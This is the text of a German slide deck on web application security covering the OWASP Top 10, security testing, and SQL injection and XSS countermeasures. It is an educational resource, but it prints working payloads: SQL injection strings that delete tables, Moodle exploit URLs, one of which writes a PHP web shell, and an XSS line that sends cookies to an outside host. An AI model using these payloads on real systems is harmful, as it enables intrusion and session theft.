Präsentation

Werbung
Sicherheit von Webapplikationen
Sichere Web-Anwendungen
Daniel Szameitat
Agenda
Agenda
Ebenenmodell
Einführung
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
OWASP TOP 10 Metrik
Sicherheitstests
Sicherheitstests
Anwendungsfälle
Anwendungsfälle
2
Agenda
Einführungl
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
Einführung
Web Technologien
HTTP(Hypertext Transfer Protocol):
• zustandsloses Protokoll über TCP auf Port 80
• HTTPS Verschlüsselt den Datentransfer
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
Request:
GET /infotext.html HTTP/1.1
Host: www.example.net
Response:
HTTP/1.1 200 OK
Server: Apache/1.3.29 (Unix) PHP/4.3.4
Content-Length: 1024
Content-Language: de
Connection: close
Content-Type: text/html
.
.
.
3
Agenda
Einführungl
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
Einführung
Web Technologien
Caching:
• Teile von Webseiten werden heruntergeladen und gespeichert
Cookies:
• Datei mit Kontext Informationen
• Führen einen Zustand ein
Session:
• Serverseitige Sammlung von Variablen
• Realisiert durch Cookies oder URL
4
Agenda
Einführung
Web Technologien
Einführungl
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
5
Ebenenmodell
Agenda
zur Sicherheitskonzeption
sicherheitsrelevante Aspekte:
Ebenenmodell
Einführung
Ebenenmodell
SicherheitsEbene
relevante Themen
beteiligte
Funktionen
OWASP TOP 10 Risiken
Semantik
Täuschung & Betrug
• Social Engineering-Angriffe
• Phising
[Plan]
Logik
Prozesse zweckentfremden
• sicheres Passwörter
• sicheres Rollenkonzept
[Plan]
Implementierung
Schwachstellen nutzen
• SQL-Injection
• Cross-Site Scripting
[Build]
Technologie
Schwachstellen nutzen
• schwache Verschlüsselung
• Bruteforce
[Build]
System
Schwachstellen nutzen
• keine Updates
[Run]
Netzwerk & Host
Kommunikation
• MitM
[Run]
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
6
OWASP TOP 10 Risiken
Agenda
Bewertung aufgrund verschiedener Kriterien
Ebenenmodell
Einführung
Risiko
OWASP TOP 10 Risiken
Ebene
Risiko
Ebene
Injektion
Impl.
Fehlkonfiguration
System
OWASP TOP 10 Metrik
Cross-Site Scripting
Impl.
Kryptografisch unsichere
Speicherung
Techn.
Sicherheitstests
Authentifizierung und
Session Management
Logik,
Techn.
URL-Zugriffsschutz
Impl.
Unsichere direkte
Objektreferenzen
System,
Techn.
Absicherung
Transportschicht
Netz.
Cross-Site Request
Forgery
Sem.,
Techn
Weiterleitungen
Impl,
Techn.
Anwendungsfälle
7
Agenda
OWASP TOP 10 Metrik
Bewertung aufgrund verschiedener Kriterien
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
8
Agenda
Sicherheitstests
für Webapplikationen
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
Sicherheitstests,
• prüfen definierte Risiken.
• sind niemals vollständig
• sind meist Blackbox Tests
• unterteilen sich eine passive und aktive Phase.
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
OWASP Unterscheide zwischen 9 Test Kategorien mit
insgesamt 66 definierten Risiken.
Kategorie Information Gathering:
1. Spiders, Roborts and Crawlers
2. Search Engine
3. Web Application Fingerprint
4. Analysis Error Codes
5. …
9
Agenda
SQL-Injektion
einfaches Beispiel:
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
userName = request.getParameter(„user“);
password = request.getParameter(„pass“);
Query = „SELECT * FROM User WHERE Name=´“ +
userName + „‘ AND Pw=´“ + password +
„‘“;
• Problem: userName = john‘ -• neues Query: SELECT * FROM User WHERE
Name=´john‘ -- ‚and password=‚‘
• Gleichwertige Eingaben:
john‘ OR ´a‘ <> ´b
10
Agenda
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
Escaping
Gegenmaßnahmen:
• Escaping, Sonderzeichen werden gesondert
behandelt.
Beispiel: john‘ -neues Query: SELECT * FROM Usr WHERE
Name=´john\‘ --´ and password=‚‘
Problem:
1. Bei Zahlen greift diese Methode nicht.
• SELECT * FROM Usr WHERE ID=1; DELETE
FROM Usr
2. Injizieren von Zeichenketten
• char(83)+char(81)+char(76)
• 0x53514C
• \\‘
11
Agenda
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
Stored Procedures
Gegenmaßnahmen:
• Stored Procedures, das SQL Statement wird in der Datenbank
vordefiniert.
Beispiel: CREATE PROCEDURE insert_p
@name Text, @age Int AS
INSERT INTO person(name, age) Values(@name,@age)
OWASP TOP 10 Metrik
Query: insert_p `Name`, Alter
Sicherheitstests
Problem: Name = bar`, 1 DELETE FROM person -Anwendungsfälle
neues Query: insert_p `bar`, 1 DELETE FROM person -- ,
12
Agenda
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
Prepared Statements
Gegenmaßnahmen:
• Prepared Statements
Beispiel: john‘ -neues Query: SELECT * FROM Usr WHERE
Name=‚john\‘ -- ‚ and password=‚‘
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
Problem:
Angriffe 2. Ordnung
INSERT Favourites (UserID, FriendlyName, Criteria)
VALUES(123, 'My Attack', '';DELETE Orders;--')
SELECT * FROM Products WHERE Criteria='{0}‘
neues Query: SELECT * FROM Products WHERE
ProductName = ''; DELETE Orders;--
13
Agenda
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
Beispiele
Reale Beispiele:
Moodle:
http://[target]/[path]/course/category.php?id='%20UNION%20SELE
CT%200,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO
%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_
course_categories/*
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1
&user='or%20isnull(1/0)/*#
http://[target]/[path]/web/view_entry.php?id=2000%20UNION%20
SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_
user%20WHERE%20id=[ID]&day=27&month=10&year=2007
14
Agenda
Cross-Site-Scripting
• Einschleusen von bösartigem Programmcode.
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
einfaches Beispiel:
• Gästebucheintrag:
<script>
for(q=0; q<10000; q++)
window.open(„http://Spam.de“);
</script>
Sicherheitstests
Anwendungsfälle
• kritisch wird XSS in Zusammenhang mit
Session-Hijacking!
15
Cross-Site-Scripting
Agenda
Beispiel:
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
1. document.location.replace(„www.hack.php?a=“+document.cookie);
3. <? setcookie(„Hack", $_GET[„a"]) ; ?>
16
Agenda
Cross-Site-Scripting
Ebenenmodell
Einführung
OWASP TOP 10 Risiken
OWASP TOP 10 Metrik
Sicherheitstests
Anwendungsfälle
17
Quellen
• https://www.owasp.org/index.php/Category:
OWASP_Top_Ten_Project
• http://testobsessed.com/wpcontent/uploads/2011/04/testheuristicscheat
sheetv1.pdf
• https://www.owasp.org/index.php/OWASP_T
esting_Project
Vielen Dank für Ihre
Aufmerksamkeit!
Daniel Szameitat
Herunterladen